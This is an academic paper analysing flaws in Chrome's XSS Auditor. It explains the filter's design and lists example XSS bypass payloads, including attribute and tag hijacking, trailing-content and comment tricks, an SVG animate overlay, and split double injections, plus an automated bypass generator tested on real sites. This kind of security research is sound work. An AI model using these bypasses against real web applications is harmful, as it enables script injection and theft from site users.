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Abstract

Cross-Site Scripting (XSS) is one of the most severe security vulner-
abilities of the Web. With the introduction of HTML5, the complexity
of Web applications is ever increasing and despite the existence of robust
protection libraries, Cross-Site Scripting vulnerabilities are nowadays om-
nipresent on the Web.

In order to protect end users from being exploited, browser vendors
reacted to this serious threat by outfitting their browsers with client-side
XSS filters. Unfortunately, as we had to notice, the currently provided
protection is severely limited, leaving end-users vulnerable to exploits in
the majority of cases.

In this paper, we present an analysis of Chrome’s XSS Auditor, in
which we discovered 17 flaws, that enable us to bypass the Auditor’s
filtering capabilities. We will demonstrate the bypasses and report on a
tool to automatically generated XSS attacks utilizing the bypasses.

Furthermore, we will report on a practical, empirical study of the Audi-
tor’s protection capabilities in which we ran our generated attacks against
a set of several thousand DOM-based, zero-day XSS vulnerabilities in the
Alexa Top 10.000. In our experiments, we were able to successfully bypass
the XSS filter on first try in over 80% of all vulnerable Web applications.

1 Introduction

Ever since its initial discovery in the year 2000 [3], Cross-Site Scripting (XSS)
is an ever-present security concern in Web applications. Even today, more than
ten years after the first advisory, XSS vulnerabilities occur in high numbers [18]
with no signs that the problem will be fundamentally resolved in the near future.
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Furthermore, in recent years, DOM-based XSS, a subtype of the vulnerability
class that occurs due to insecure client-side JavaScript, has gained traction,
probably due to the shift towards rich, JavaScript heavy Web applications. In
a recent study, We have shown that approximately 10% of the Alexa Top 5000
carry at least one DOM-based XSS vulnerability [9].

The design of protection measures against XSS has received considerable
attention. In its core, XSS is a client-side security problem: The malicious
code is executed in the client-side context of the victim, affecting his client-
side execution environment. Hence, a well suited place to protect end users
against XSS vulnerabilities is the Web browser. Following this concept, several
client-side XSS filters have been developed over the years.

These contemporary client-side XSS filtering mechanisms rely on string-
based comparison of outgoing HTTP requests and incoming HTTP responses
to detect reflected XSS attack payloads. In essence, this string comparison is
an approximation of server-side data flows that might result in direct inclusion
of request data in the HTTP response. While this approximative approach is
valid for server-based XSS vulnerabilities – the browser has no insight on the
server-side logic – it is unnecessarily imprecise for client-side XSS issues.

To demonstrate the current limitations of the established approaches, we
conduct an in-depth analysis of the current state-of-the-art in client-side XSS fil-
tering, namely Chrome’s XSS Auditor, with focus on the capabilities of thwart-
ing DOM-based XSS attacks (see Section 3). In course of this analysis, we
uncover a set of conceptual weaknesses which, taken together, render the exist-
ing techniques incapable of protecting against the majority of client-side XSS
attacks (see Section 4).

Furthermore, to practically validate our analysis, we report on a fully auto-
matic system to create XSS attacks which evade the current protection mech-
anism: Using a data set of 1,602 real-life DOM-based XSS vulnerabilities, we
successfully created XSS vectors that bypassed client-side filtering in 75% of all
cases, affecting 81% of all vulnerable domains we found.

2 Technical Background

In the following, we briefly discuss DOM-based Cross-Site Scripting and shed
light on the technical basis used for this work, namely a taint-aware browsing
engine.

2.1 Cross-Site Scripting (XSS)

The term Cross-site Scripting (XSS) denotes a class of string-based code injec-
tion attacks on web applications. If a web application implements insufficient
input validation and/or output sanitation an adversary might be able to inject
arbitrary script code in the application’s HTML.
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Cross-Site Scripting 101 

What is XSS? 

Underlying Problem 

!! Web applications process data that was passed to them via GET or POST requests  

–! User input such as: Form fields, parts of the URL, HTTP headers, etc. 

!! Often this data is included / echoed somewhere in the application’s UI 

–! E.g. within HTML: 

Figure 1: Cross-site Scripting (XSS)

A successful XSS attack can lead to, e.g., the stealing of authentication
information, privilege escalation, or disclosure of confidential data.

XSS caused by insecure server-side code can classified into the categories
reflected or stored:

• Reflected XSS denotes all non-persistent XSS issues, which occur when
the web application blindly echos parts of the HTTP request in the respec-
tive HTTP response’s HTML. In order to successfully exploit a reflected
XSS vulnerability, the adversary has to trick the victim into sending a
fabricated HTTP request. This can be done by, for instance, sending
the victim a malicious link, or including a hidden Iframe into an attacker
controlled page.

• Stored XSS refers to all XSS vulnerabilities, where the adversary is able
to permanently inject the malicious script in the vulnerable application’s
storage. This way every user that accesses the poisoned web page receives
the injected script without further actions by the adversary.

In the context of this paper we will concentrate on injected JavaScript-
code. However, similar concepts are also applicable for other client-side scripting
languages, such as VBScript.

2.2 DOM-based XSS

In contrast to the server-side variants of XSS, namely reflected and persistent,
the term DOM-based Cross-Site Scripting (or DOM-based XSS) subsumes all
classes of vulnerabilities which are caused by insecure client-side code. The term
itself was coined by Klein in 2005 [7]. These issues come to light when untrusted
data is used in a security-critical context, such as a call to eval. In the context
of DOM-based XSS, this data might originate from different sources such as the
URL, postMessages [17] or the Web Storage API.
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2.3 Browser-level Taint Tracking

One of the underlying technical cornerstones of this paper is a taint-enhanced
browsing engine, similar to the taint-aware browser presented by Lekies et
al. [9]. This engine allows precise tracking of data flows from attacker-controlled
sources, such as document.location, to sink, such as eval.

Our implementation, based on the open source browser Chromium, provides
support for tracking information flow on the granularity of single characters by
attaching a numerical value to identify the origin of the character’s taint. This
taint marker is propagated whenever string operations are conducted and is also
persisted between the two realms of the rendering component, i.e., Blink, and
the V8 JavaScript engine.

Using this taint browser, we were able to discover more than 1.000 real-
world DOM-eXSS vulnerabilities in the Alexa Top 10.000, which were the basis
of our practical experiments. Furthermore, the taint-aware JavaScript engine
provided us with precise information, in respect to the exact syntactic context
of the injection, which in turn allowed the creation of the filter bypasses (see
Sec. 5).

3 Current Approaches for Client-side XSS Fil-
tering

In this section we investigate the current in-browser techniques used to detect
and prevent XSS attacks. More specifically, we describe the concepts of the
Firefox plugin NoScript [10], Internet Explorer’s XSS Filter [13] and Chrome’s
XSS Auditor [1].

3.1 Regular-expression-based Approaches: NoScript and
Internet Explorer

One of the first mechanisms on the client side to protect against XSS attacks
was introduced by the NoScript Firefox Plugin [12] in 2007. NoScript utilizes
regular expressions to filter outgoing HTTP requests for potentially malicious
payloads. If one of the regular expressions matches, the corresponding parts
are removed from the HTTP request. The malicious payload will thus never
reach the vulnerable application and hence an attack is thwarted. Nevertheless,
as described in NoScript’s feature list, this potentially leads to false positives
[11] due to its aggressive filtering approach. NoScript works around this issue
by prompting the user whether to repeat the request, this time disabling the
protection mechanism. While this seems to be a valid approach for NoScript’s
security-aware users, it is not acceptable as a general Web browser feature, as
many studies have shown that an average user is not able to properly react to
such security warnings [4, 6, 16].

In order to tackle this problem Microsoft slightly extended NoScript’s ap-
proach and integrated it into Internet Explorer [13]. Similar to NoScript, IE’s
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XSS filter utilizes regular expressions to identify malicious payloads within out-
going HTTP requests. Instead of removing the potentially malicious parts from
a request, the filter generates a signature of the match and waits for the HTTP
response to arrive at the browser. If the signature matches anything inside the
response, i.e., if the payload is also contained within the response, the filter
removes the parts it considers to be suspicious. Thus, attacks are only blocked
if the payload is indeed contained in the response and, hence, depending on the
situation, false positives are less frequent. In fact, avoiding false positives is
one of the filter’s many design goals [14], even if this results in a higher false
negative rate, as Microsoft’s David Ross states: “Thus, the XSS Filter defends
against the most common XSS attacks but it is not, and will never be, an XSS
panacea.” [14].

In 2010, Bates et al. [1] demonstrated that regular-expression-based filtering
systems have severe issues and proposed a superior approach in the form of the
XSS Auditor, which has been adopted by the WebKit browser family (Chrome,
Safari, Yandex).

3.2 State-of-the-Art: The XSS Auditor

Based on the identified weaknesses of regular-expression-based XSS defenses,
Bates et al. proposed the XSS Auditor – a new system that is “faster, protects
against more vulnerabilities, and is harder for attackers to abuse” [1]. Up to now,
the XSS Auditor constitutes the state-of-the art in client-side XSS mitigation,
albeit focusing mainly of reflected XSS.

As we will demonstrate in this paper, the XSS Auditor also has shortcomings,
especially related to DOM-based XSS attacks. Before we explore the limitations
of the system in the next section, we provide an overview of the Auditor’s
protection mechanism.

One of the key differences between Chrome’s XSS Auditor and previous
filter designs is the filter’s placement within the browser architecture. Instead of
applying regular expressions on the string representations of the HTTP requests
or responses, the Auditor is placed between the HTML parser and the JavaScript
engine [1]. The idea behind this placement is, that an attacker’s payload has
to be parsed by the HTML parser to be transferred to the JavaScript engine
where the injected payload is being executed.

In order to block XSS attacks, the Auditor receives each token generated by
the HTML parser and checks whether the token itself or some of its attributes
are contained in either the request URL or the request body. If so, the filter
considers the token to be injected and replaces JavaScript or potentially harmful
HTML attributes with a benign value. Such a benign value is a payload that
has no effect, such as about:blank, javascript:void(0) or an empty string.
The injected fragments will thus not be passed to the JavaScript engine and
hence attacks are prevented.

The main design goals of the filter are to avoid false positives and to minimize
performance impact. Before demonstrating that these goals severely impact
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Chrome’s XSS Auditor – Attacker Model 

http://example.org/?text=a“><script>alert(1)</script> 

Browser 

http://example.org 

<html>!

  …!

  <input type=“text” value=“a”>!

   <script>alert(1)</script>>!

  …!

</html>!

Figure 2: Scope of addressed attacks by the Chrome XSS Auditor

the filter’s detection capabilities, we will first provide details on the detection
algorithm (simplified to satisfy space and readability constraints):

1. Initialization (For document fragments)
(a) Deactivate the filter

2. Initialization (For each full document)
(a) Fully decode the request URL
(b) Fully decode the request body
(c) Check if request could contain an injection

i. If not, deactivate the filter
ii. Otherwise continue

3. For each start token in the document do...
(a) Check and delete dangerous attributes

i. Delete injected event handlers
ii. Delete injected JavaScript URLs

(b) Conduct tag specific checks
4. For each script token in the document do...

(a) Check and delete injected inline code

As soon as the so-called HTMLDocumentParser is spawned by Chrome,
an initialization routine of the XSS Auditor is called. The parser can either
be invoked for parsing document fragments or complete documents. While the
XSS filter is deactivated for document fragments, it guesses whether an injection
attack is likely to be present for full documents. If either the URL or the request
body contains one of the characters shown in Listing 1, the filter is activated.
If none of these characters is found, the filter assumes the browser not being
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Listing 1 Required characters to activate the filter
static bool isRequiredForInjection(UChar c)

{

return (c == ’\’’ || c == ’"’ ||

c == ’<’ || c == ’>’);

}

under attack and skips the complete filtering process.
If, on the other hand, one of the characters mentioned in Listing 1 is present

in the request the Auditor investigates every token within the document for
injected values that might cause script execution. This process is threefold:
First the Auditor looks for dangerous attributes, second it conducts tag specific
checks for certain attributes and third it filters injected inline scripts.

Dangerous Attributes are, in the view of the Auditor, attributes that either
contain a JavaScript URL or have the name of an inline event handler (onclick,
onload, etc.) as these attributes can enable XSS attacks. If such an attribute is
found, the Auditor searches for it within the corresponding request. If a match
is found, the filter assumes the attribute to be injected and either deletes the
complete attribute value in case of event handlers or replaces the JavaScript
URL with a benign URL.

Tag-specific filtering Besides event handlers and attributes containing JavaScript
URLs, other tag specific attributes that need to be filtered exist. An attacker
could, for example, inject a script tag and use the src attribute to load an
external script file. Hence, for any script token, the Auditor additionally checks
the legitimacy of the src token. In total, the Auditor conducts such checks for
18 additional attributes contained in 11 tokens (script, object, param, embed,
applet, iframe, meta, base, form, input and button).

Filter inline scripts Whenever the Auditor encounters a script tag, it also
validates whether the content between opening and closing tag has been injected.
If the content can be found in the request, it is replaced with an empty string.

4 Limitations of String-based XSS Filters

In this section we report on a detailed analysis we conducted to assess the XSS
Auditor’s protection capabilities with a focus on DOM-based XSS. We are aware
of the fact, that DOM-based XSS is not the primary target of the XSS Auditor.
Nevertheless, we believe that the identified issues are also partially relevant for
reflected XSS.
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4.1 Scope-related Issues

In general, the Auditor is called whenever potentially dangerous elements are
encountered during the initial parsing of the HTTP response. These are, how-
ever, not the only situations in which attacker-controlled data might end up
being interpreted as code. In this section, we explore situations in which the
filter is not active and hence does not protect against attacks.
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Figure 3: Bypassing the Auditor via scope-related issues.

eval As mentioned earlier, the Auditor is placed between the HTML parser
and the JavaScript engine to intercept potential XSS payloads. Still, not every
DOM-based XSS attack needs to go through the HTML parser. If a Web site
invokes the JavaScript function eval with user-provided data, the execution will
never pass the HTML parser. Therefore, the Auditor will never see a malicious
payload that an attacker injected into a call to eval. As we will demonstrate
later, eval is commonly used in Web applications.

innerHTML While script tags inserted via innerHTML are not executed, it is
still possible to execute JavaScript via inline event handlers. Hence, innerHTML
is also prone to XSS attacks. In earlier versions of the Auditor content parsed
via innerHTML was also filtered. Google later experienced some performance
drawbacks in innerHTML-heavy applications [8] and as a consequence, the Au-
ditor is nowadays disabled for document fragment parsing, which is invoked
upon an assignment to innerHTML.

Direct assignment to dangerous DOM properties Besides eval and
innerHTML it is also possible to trigger the execution of scripts without invoking
a HTML parsing process as a few examples in Listing 2 show. As no HTML
parsing takes place in these cases, the XSS Auditor is never invoked. Hence, if
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a Web application assigns a user-controlled value to such a DOM-property, an
attacker is able to evade the filter.

Listing 2 Examples for dangerous DOM properties
var s = document.createElement("script");

s.innerText = "myFunction(1)"; // 1.

s.src = "http://example.org/script.js"// 2.

var i = document.createElement("iframe");

i.src = "javascript:myFunction(1)" // 3.

var a = document.createElement("a");

a.href = "javascript:myFunction(1)" // 4.

Second order flows When investigating a token, the Auditor always val-
idates whether a suspicious value was contained within the preceding HTTP
request’s URL or body. As shown in by Hanna et al. [5] as well as Lekies et
al. [9], second order flows are relevant for DOM-based XSS. So, for example, if
a value is written into a LocalStorage within one request/response cycle, it can
be used to cause a DOM-based XSS attack in another request/response pair.
As the Auditor only investigates the last request, it will not find the value sent
with the second-last request. LocalStorage is only one of many ways to persist
data across multiple HTTP requests as Cookies, WebStorage or the File API
exist nowadays.

Alternative attack vectors It is not sufficient to only check the URL and
the request body in order to prevent DOM-based XSS attacks. Multiple other
sources of attacker-controllable data exist which could be abused to inject ma-
licious content into an application. Examples are the PostMessage API, the
window.name attribute, or the document.referer attribute. As the Auditor
does not take these sources into account, they can be used to evade the filter.

Furthermore, Bojinov et al. demonstrated that data can be injected by an at-
tacker via alternative communication channels [2]. Thus, so-called cross-channel
scripting attacks also bypass the XSS Auditor.

Unquoted attribute injection During initialization, the Auditor checks
whether filtering is necessary by verifying the presence of the characters shown
in Listing 1. Thereby, it implicitly assumes that an attack is not possible with-
out these characters. This assumption, however, is wrong. In Listing 3 we show
a common vulnerability and the corresponding attack (note: the value of the id
attribute is not surrounded by quotes). In this example, the payload does not
make use of the required characters. Normally, the XSS Auditor would block
the src attribute containing the JavaScript URL. In this case, however, it does
not conduct any checks as it is deactivated.
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Listing 3 Unquoted Attribute injection
var id = location.hash.slice(1);

var code = "<iframe id=" + id + " [...]>";

code += "</iframe>";

document.write(code);

// attack payload within URL

"//example.org/#1 src=javascript:eval(name)"

4.2 String-matching-related Issues

In the following we explore the limits of the implemented string matching al-
gorithms. Whenever the Auditor finds a potentially dangerous element or at-
tribute, it verifies whether the corresponding string representation can be found
in the request. If an attacker is able to mislead the string-matching algorithm,
the filter can be bypassed. Hence, the precision of this process determines the
filter’s effectiveness and as a result its false positive and false negative rates.

4.2.1 Partial Injections

One of the assumptions the Auditor makes is that an attacker has to inject a
complete tag or attribute to successfully launch an attack. As a consequence
the filter always aims to find the complete tag or the complete attribute within
the request. While this approach reduces false positives as it is very unlikely
that an application contains an existing tag or attribute in its URL legitimately,
it does not cater for the need of application-specific scenarios. This assumption
leads to potential problems in three different cases:

Attribute Hijacking One of the first things the Auditor does is to check
whether a dangerous attribute was injected into the application. Hence, when-
ever it discovers a dangerous attribute during the parsing process it regenerates
the string representation of the attribute and matches it against the URL and
the request body. Listing 4 shows the string generation process:

Listing 4 Attribute string matching
// current start token

<iframe [...] onload="alert(’example’)">

// Step 1: extract the dangerous attribute

onload="alert(’example’)"

// Step 2: Truncate after 100 characters

onload="alert(’example’)"

// Step 3: Truncate at a terminating char

onload="alert(’

After detecting a potentially dangerous attribute the Auditor extracts its
decoded string representation. Then, it truncates the attribute at 100 chars
to avoid the comparison of very long strings. It finally truncates the string at
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one of seven so-called terminating characters (this is done to detect attacks,
that we will cover later). The resulting string is then matched against the
URL. Obviously, the resulting string always contains the name of the potentially
dangerous attribute. Hence, the underlying assumption here is that the attacker
always has to inject the attributes herself. In real-world applications, however,
attributes can often be hijacked by an attacker as shown in Listing 5. Although
the onload attribute is a dangerous event handler attribute, the Auditor will
not discover it within the URL as the onload attribute’s name is hardcoded
within the application and not injected by the attacker.

Listing 5 Attribute & Tag hijacking vulnerability
var h = location.hash.slice(1);

var code = "<iframe onload=’" + h + "’"

code += "[...]></iframe>";

document.write(code);

//attack for attribute hijacking

"//example.org/#alert(’example’)"

//attack for tag hijacking

"//example.org/#’ srcdoc=’...’"

Tag Hijacking After checking for dangerous attributes the Auditor conducts
tag specific attribute checks. Matching all attributes of all tokens within an
HTML document against the URL and request body, however, can be a very
time consuming and error prone task. Therefore, the auditor only matches an
attribute against the URL if it can find the tag’s name in the URL. For exam-
ple, if the filter investigates an iframe token it validates whether the sequence
<iframe is contained in the request before matching the src or srcdoc at-
tribute 1. Hence, if the injection point of a vulnerability lies within such a tag,
the attacker can hijack the tag and inject additional attributes to it. As the tag
itself is hardcoded the Auditor will skip any of its checks for specific attributes.
An example of this attack is provided in Listing 5.

In-Script Injections Another vulnerability that is not detectable by the XSS
Auditor is an injection inside of an existing inline script. As described in Sec-
tion 3.2, whenever the filter encounters a script tag, it matches the complete
inline content of the script against the request. Real-world Web applications
however often make use of dynamically generated inline scripts made up from
user-controllable input mixed with hardcoded values. Hence, instead of inject-
ing a script tag via the URL an attacker is able to simply inject code into an

1For iframe.srcdoc the tag hijacking attack is not possible anymore, as concurrent research
discovered this issue and reported it to Google. Upon the report Google changed the behavior
for srcdoc. Nevertheless, for any other of the 18 special attributes, tag hijacking still is an
issue
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existing dynamic inline script. As a consequence searching for the complete
script content within sources of user input will not be successful.

4.2.2 Trailing Content

A very similar problem to partial injections is trailing content. When real-world
Web applications write input to the document, they do not simply write one
single value coming from the user but rather use a string that was constructed
from hardcoded values as well as potentially attacker-controlled values. Listing
6 shows a real-world example.

Listing 6 An example of String construction
var code = "<iframe src=’//example.org/";

code += getParamFromURL("page_name");

code += ".html’></iframe>";;

document.write(code);

// attack payload:

"’ onload=’alert(1);foo"

// resulting code

"<iframe src=’//example.org/’

onload=’alert(1);foo.html’>"

Note, that the injection point is inside the src attribute of the iframe tag.
Within this src attribute, the attacker-controllable input starts in the middle of
the attribute (after //example.org/) and some more content is following the
injection point (.html). When crafting an attack, the attacker is able to use
the trailing content within the payload to confuse the string matching process.
Despite the fact that the Auditor is aware of this issue (source code comments
indicate this) and defends against it, the current defenses are not able to reliably
detect which parts are actually injected by the attacker and which parts are
hardcoded within the Web application. We found the following bypasses which
allow an attacker to exploit this problem in different and partly unexpected
ways.

Trailing Content - Normal Case Listing 6 depicts a ”normal” trailing con-
tent attack. The attacker aims at injecting a payload that consumes the trailing
content following the injection point. By doing so, the resulting code contains
an attribute (onload in this example) that is made of hard coded components
and parts originating from the url injected by the attacker. The same is possible
when using script tags instead of the onload attribute. However, in this ”nor-
mal” case it is important that the resulting attribute or script content forms
syntactically correct JavaScript. Otherwise, the JavaScript engine is not able to
parse the resulting script code. If the trailing content is made up of only a few
characters this is easy to achieve as seen in Listing 6. If the code is parse-able,
first the attackers payload is executed, following the trailing content. Thereby,
the trailing code does not need to be free of errors. As soon as the code in
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Listing 6 is executed it will throw a runtime exception. However, this happens
only after the malicious payload was successfully executed!

Trailing Content - Comments Another Trailing content problem is related
to comments. In order to avoid a syntactically incorrect trailing content an
attacker could try to inject comments at the end of his attack payload to com-
ment out everything following the payload. The XSS Auditor is aware of this
attack and removes everything behind comment sequences when looking for an
injected value within the request. Comments sequences can either be repre-
sented by JavaScript comments (//) or by HTML comments (<!--). Listing 7
shows a vulnerable piece of code. The problem in this case is that the trailing
content begins with a slash, which at the same time is the last letter of one
of the comment sequences - the JavaScript comment. So instead of injecting a
complete JS comment (//) the attacker only injects one slash. Combined with
the trailing slash, the two slashes form a valid JS comment sequence. As a valid
comment is present, the XSS Auditor cuts of everything after the two slashes
and checks whether the resulting string is contain within the request. In this
case, the Auditor searches for onload=’alert(1);//. The request, however, only
contains onload=’alert(1);/ (note: one missing slash). Therefore, the check fails
and the exploit executes.

Listing 7 Trailing Content - Comment
var code = "<iframe src=’//example.org/";

code += getParamFromURL("page_name");

code += "/test.html’></iframe>";;

document.write(code);

// attack payload:

"’ onload=’alert(1);/"

// resulting code

"<iframe src=’//example.org/’

onload=’alert(1)//test.html’>"

Trailing Content - SVG The last trailing comment problem is related to
the SVG animate tag that was used to conduct Filter bypasses in the past.

The code in Listing 8 checks whether an attribute contains a JS URL or
whether the attribute under investigation is an event handler. In the first line,
we can see a check for a semicolon separated attribute. Its purpose is to check
one special attribute that could contain values separated by a semicolon. This
attribute is the SVG values attribute of the animate tag. The method splits
the attribute value on ”;” and checks each resulting part for ”javascript:”. If
it detects this case it returns true. If the variable is true the auditor checks
whether the complete attribute is contained within the request, not just the
part that started with ”javascript:”. Here, the trailing content comes into play:
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Listing 8 Comma-separated attribute check
bool valueContainsJavaScriptURL = [...] (isSemicolonSeparatedAttribute(attribute)

&& semicolonSeparatedValueContainsJavaScriptURL(strippedValue));

if (!isInlineEventHandler && !valueContainsJavaScriptURL)

continue;

if (!isContainedInRequest(

decodedSnippetForAttribute(request, attribute, ScriptLikeAttribute)))

continue;

request.token.eraseValueOfAttribute(i);

Listing 9 Trailing Content - SVG
var code = "<iframe src=’//example.org/";

code += getParamFromURL("page_name");

code += ".html’></iframe>";;

document.write(code);

// attack payload:

"></iframe><svg xmlns:xlink="http://www.w3.org/1999/xlink"

style="width:100%;height:100%;top:0;left:0;

position:absolute;z-index:999999;opacity:1">

<a><circle r=’10000’ />

<animate attributeName="xlink:href" values="javascript:alert(1);

// resulting code

<iframe src=’http://example.org/’></iframe>

<svg xmlns:xlink="http://www.w3.org/1999/xlink"

style="width:100%;height:100%;top:0;left:0;

position:absolute;z-index:999999;opacity:1">

<a>

<circle r=’10000’ />

<animate attributeName="xlink:href" values="javascript:alert(1);.html">

</svg>

</iframe>

Listing 9 demonstrates the attack. When checking the ”values” attribute of
the animate tag, the Auditor checks whether values=”javascript:alert(1);.html”
is contained within the request. As .html” is not contained in the request
the Auditor will not discover the attack. The animate tag however only uses
the value up to the first semicolon which is javascript:alert(1) and assigns it
to the ”a” tag’s xlink:href attribute. The style declaration makes the ”a” tag
consume the complete space and makes it transparent. As soon as a user only
clicks once on the vulnerable Web page, the attack executes. As the animate
tag ignores everthing after the first semicolon within the values attribute, the
trailing content does not need to form syntactically correct JavaScript.
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4.2.3 Double Injections

Another conceptional flaw of string-matching-based approaches is the inability
to discover concatenated values coming from more than one source of user input.
As shown in [9] a call to a security sensitive function contains on average three
potentially attacker provided substrings. Listing 10 shows an example for such
a double injection.

Listing 10 An example of double injection
var id = getParamFromURL("id");

var name = getParamFromURL("name");

var code = "<iframe id=’" + id + "’";

code += " name=’" + name +"’";

code += "[...]></iframe>";

document.write(code);

// attack

id="’/><script>void(’"

name="’);alert(1)</script>"

// resulting code

<iframe id=’’/>

<script>void(’ name=’);alert(1)</script>

[...]></iframe>

As the call to document.write contains two injection points (id, name) an
attacker is able to split the payload. A specially crafted set of inputs, as shown
in the Listing, therefore leads to the creation of a valid script tag that is a combi-
nation of both attacker inputs. In this case, the Auditor’s string matching algo-
rithm would search for void(’name=’);alert(1) within the request. Finding
this value in the URL, however, is not possible as the ’ name =’ part is hard-
coded and not originating from the URL. Furthermore, the attacker is able to
arbitrarily change the order in which the values appear within the URL. Hence,
double injections are a severe conceptional problem for string-matching-based
approaches. In total we identified three different classes of double injection. The
first class has been explained in the example above. A call to document.write

contains two injection points and the injected values are independent from each
other. Very similar to this approach, the double injection pattern also applies
to situations in which a single value is used twice within a single call to a se-
curity sensitive function. Finally, double injection attacks can be conducted if
subsequent calls to document.write are made containing attacker-controllable
values.

4.2.4 Application-specific Input Mutation

Another assumption of the XSS Auditor is that input of the user always reaches
the parser without any modifications. If even one character of the input changed,
the string matching algorithm will fail to find the payload and hence is not able
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to block the resulting attack. Application-specific encoding functions or data
formats, therefore, lead to situations in the filter can be bypassed.

5 Practical Experiments

As previously demonstrated we found numerous conditions under which the
protection mechanisms of the XSS Auditor can be evaded. In order to assess
the severity of the identified issues for real-world applications, we conducted a
practical experiment. We used the methodology described in [9] to collect a set
of 1,602 unique real-world DOM-based XSS vulnerabilities on 958 domains. We
then built a bypass generation engine to verify whether a certain vulnerability
allows employing one of the bypassing techniques described above.

Using our taint-aware infrastructure we are able to determine the exact
injection context of a vulnerability. As soon as our infrastructure registers a
call to a security sensitive sink such as document.write, eval, or innerHTML, it
stores the string value and the exact taint information. Using a set of patched
HTML and JavaScript parsers, we can exactly determine the location of the
injection point. Using this data, we cannot only give an indication for a filter
evasion possibility, but also generate an exact bypass that takes the injection
point’s context as well as the specific flaws of the Auditor into account. Applying
this technique we compiled a set of bypasses that we evaluated against the
vulnerabilities.

In doing so, we were able to bypass the filter for 73% of the 1,602 vulnera-
bilities, successfully exploiting 81% of the 958 domains in our initial data set.

6 Analysis & Discussion

As demonstrated by our practical experiments, the XSS Auditor can be rendered
incapable of defending against DOM-based XSS attacks. We even believe that
the results are (at least to some extent) equally valid for reflected XSS. Since
the focus of our work is on DOM-based XSS, we leave the investigation of this
assumption to future work.

For DOM-based XSS we identified two issues that severely limit the filter’s
capabilities for detecting XSS attacks.

Placement One of the Auditor’s strengths compared to Internet Explorer’s
and NoScript’s approach is its placement between the HTML parser and the
JavaScript engine. This way the Auditor does not need to approximate the
browser’s behavior during the filtering process. As we have shown in Section 4.1
the current placement is prone to different attack scenarios which are not taken
into account by the filter. Currently the Auditor is not able to catch JavaScript-
based injection attacks and situations in which HTML parsing is not conducted
prior to a script execution.
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String matching Even if it would be possible to extend the Auditor’s reach
to the JavaScript engine and the so-called DOM bindings, the string matching
algorithm is another conceptional problem that will be very difficult if not im-
possible to solve. In order to cope with the situation the XSS Auditor introduced
many additional checks and optimizations to thwart attacks. Nevertheless and
despite the fact that a lot of bug hunters regularly investigate the filter’s in-
ner workings, we were able to find 13 bypasses targeting the string matching
algorithm. All the mentioned problems will not disappear as employing string
matching is inherently imprecise.

7 Conclusion

In this paper, we presented several ways to circumvent Chrome’s XSS Auditor.
We demonstrated the practicality of of these theoretical bypass opportunities
through automatic filter bypass generation on a large testbed of real-life DOM-
bases XSS problems.

While we only demonstrated the bypasses using DOM-based XSS vulnera-
bilities, the identified flaws are of a more general nature. The majority of the
discussed bypass types apply to server-based reflected XSS as well.

A subset of the identified issues are probably fixable and should hopefully
be resolved in future iterations of the filter. However, bypasses that rely on
conceptual shortcomings of the Auditor (such as the scope related issues) or for
which a string comparison-based solution is computational infeasible, e.g., in
the case of multi-flows, it is highly unlikely that the current architecture of the
Auditor can be adapted to provide reliable protection.
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